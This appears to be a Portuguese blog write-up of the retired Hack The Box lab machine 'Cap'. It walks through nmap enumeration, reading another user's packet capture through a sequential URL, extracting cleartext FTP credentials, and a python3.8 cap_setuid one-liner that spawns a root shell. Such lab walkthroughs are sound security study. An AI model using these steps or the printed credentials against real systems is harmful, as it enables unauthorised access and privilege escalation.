6 minuto(s) de leitura Read also in :us: Compartilhar

Olá pessoal!

A máquina desta semana será Cap, outra máquina Linux classificada como fácil do Hack The Box, criada por InfoSecJack.

:information_source: Info: Write-ups para máquinas do Hack The Box são postados assim que as máquinas são aposentadas.

HTB Cap

Esta máquina foi bem fácil e demonstra o porque de garantir a comunicação segura enquanto acessamos os serviços dentro da organização, maneira utilizada para obter credenciais que, das quais, foi realizado o processo de escalação de privilégios para root.

Enumeração

Como de costume, iniciado com um scan rápido do nmap para ver os serviços publicados nesta máquina.

$ nmap -sC -sV -Pn -oA quick 10.10.10.245
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 20:04 -03
Nmap scan report for 10.10.10.245
Host is up (0.073s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Tue, 10 Aug 2021 23:04:20 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Tue, 10 Aug 2021 23:04:15 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Tue, 10 Aug 2021 23:04:15 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=8/10%Time=611305F3%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,2FE5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20
SF:Tue,\x2010\x20Aug\x202021\x2023:04:15\x20GMT\r\nConnection:\x20close\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20193
SF:86\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\
SF:n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x2
SF:0<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\
SF:x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\
SF:x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=
SF:1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image
SF:/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<
SF:link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">
SF:\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/fon
SF:t-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=
SF:\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.
SF:css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/c
SF:ss/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOption
SF:s,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Tue,\x2
SF:010\x20Aug\x202021\x2023:04:15\x20GMT\r\nConnection:\x20close\r\nConten
SF:t-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OP
SF:TIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text
SF:/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20
SF:\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\
SF:n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invali
SF:d\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27;RTSP
SF:/1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189
SF:,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20T
SF:ue,\x2010\x20Aug\x202021\x2023:04:20\x20GMT\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\
SF:r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20
SF:Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>
SF:\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20ser
SF:ver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20ch
SF:eck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.56 seconds

80/TCP - Serviço HTTP

Observando a página publicada, podemos ver um painel de monitoramento, com algumas opções à esquerda.

HTB Cap - Security Dashboard

Inspecionando as opções disponíveis no painel da esquerda, a única funcionalidade interessante foi o Security Snapshot (5 Second PCAP + Analysis), que sumariza o resultado da coleta de pacotes de comunicação de rede por 5 segundos. Ao selecionar esta opção somos redirecionados para http://10.10.10.245/capture e logo após 5 segundos, para uma página que exibe os resultados da coleta, neste caso http://10.10.10.245/data/1. Nesta página também podemos baixar o arquivo pcap gerado, que poderia ser analizado via linha de comando ou via Wireshark.

HTB Cap - Security Snapshot

Um ponto interessante é que quando solicitei uma nova captura, a URL de resultado apresentou um número sequencial (http://10.10.10.245/data/2), que significa que poderíamos ver outras capturas geradas por terceiros em outro momento.

Considerando que o contador está incrementando, devemos ter algo registrado na entrada “0”, a qual foi confirmada alterando manualmente o endereço na URL onde os status mostram que houve comunicação dado a quantidade de pacotes, podendo existir algum tipo de dado sensível caso a comunicação não tenha ocorrido de forma segura.

HTB Cap - Security Snapshot "zero"

Analizando o conteúdo utilizando o Wireshark, iniciei por verificar as estatísticas das conversas, conforme abaixo, onde temos 3 streams HTTP (80/TCP) e um para FTP (21/TCP)

HTB Cap - PCAP Statistics

Passando por cada um dos TCP streams, o mais interessante foi o último, em que durante a comunicação FTP podemos ver as credenciais informadas pelo usuário nathan que baixou o arquivo notes.txt, que poderia conter algum tipo de informação relevante para a resoluçào da máquina.

nathan:Buck3tH4TF0RM3!

HTB Cap - PCAP FTP Stream

Acesso inicial e User flag

Utilizando as credenciais observadas, consegui conectar via FTP e surpreendentemente o diretório raiz da conexão era o home directory de nathan, onde pude baixar o arquivo user.txt e ler a flag.

$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:zurc): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 May 27 09:16 .
drwxr-xr-x    3 0        0            4096 May 23 19:17 ..
lrwxrwxrwx    1 0        0               9 May 15 21:40 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Feb 25  2020 .bash_logout
-rw-r--r--    1 1001     1001         3771 Feb 25  2020 .bashrc
drwx------    2 1001     1001         4096 May 23 19:17 .cache
-rw-r--r--    1 1001     1001          807 Feb 25  2020 .profile
lrwxrwxrwx    1 0        0               9 May 27 09:16 .viminfo -> /dev/null
-r--------    1 1001     1001           33 Aug 11 16:25 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (358.0729 kB/s)
ftp> exit
221 Goodbye.

$ cat user.txt
<redacted>

Root flag

Após ler a flag de usuário, fiz uma tentativa com as mesmas credenciais via SSH e tive o sucesso esperado, onde pbtive um acesso interativo na máquina.

A primeira ação sempre executada como sempre é sudo -l mas, para a conta do usuário nathan nada foi retornado. Seguindo com a enumeração manual, decidi checar se tinhamos acesso ao diretório da aplicação, que está localizado no caminho padrão do apache (/var/www/html) e de que se trata de uma aplicação web baseada em Python a partir do arquivo app.py, par ao qual o usuário nathan tem acesso de gravação.

nathan@cap:/var/www/html$ ls -la
total 32
drwxr-xr-x 6 nathan nathan 4096 May 25 07:25 .
drwxr-xr-x 3 root   root   4096 May 23 19:17 ..
drwxr-xr-x 2 nathan nathan 4096 May 27 09:10 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25 07:25 app.py
drwxr-xr-x 6 root   root   4096 May 23 19:17 static
drwxr-xr-x 2 root   root   4096 May 23 19:17 templates
drwxr-xr-x 2 root   root   4096 May 31 16:17 upload

Ao avaliar o conteúdo do arquivo, uma das funções executa o arquivo tcpdump, que normalmente requer privilégios de root. Esta permissão poderia ser abusada e utilizá-la para obter um shell reverso a partir de uma conta privilegiada.

Para testar isso, criei uma outra rota no app, com um caminho customizado mas, para ser efetivo, precisaria reiniciar o website em python, o que não é feito automaticamente e não tenho privilégios suficientes para tal tarefa.

Olhando mais a fundo, decidi executar o linpeas.sh e encontrei uma configuração que poderia nos auxiliar com a escalação de privilégio: alguns arquivos contém alguns capabilities não comuns, que foram validados em um segundo momento no GTFOBins:

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Shell capabilities:
0x0000000000000000=
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Dos arquivos listados o mais promissor é o /usr/bin/python3.8 que possui o capability cap_setuid configurado, que, de acordo com o python | GTFOBins poderia nos permitir iniciar uma nova instancia do /bin/sh e, a partir desta, ler o conteúdo do arquivo flag do usuário root.

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id && hostname && cat /root/root.txt
uid=0(root) gid=1001(nathan) groups=1001(nathan)
cap
<redacted>

Espero que tenham gostado!

Vejo vocês no próximo post :smile: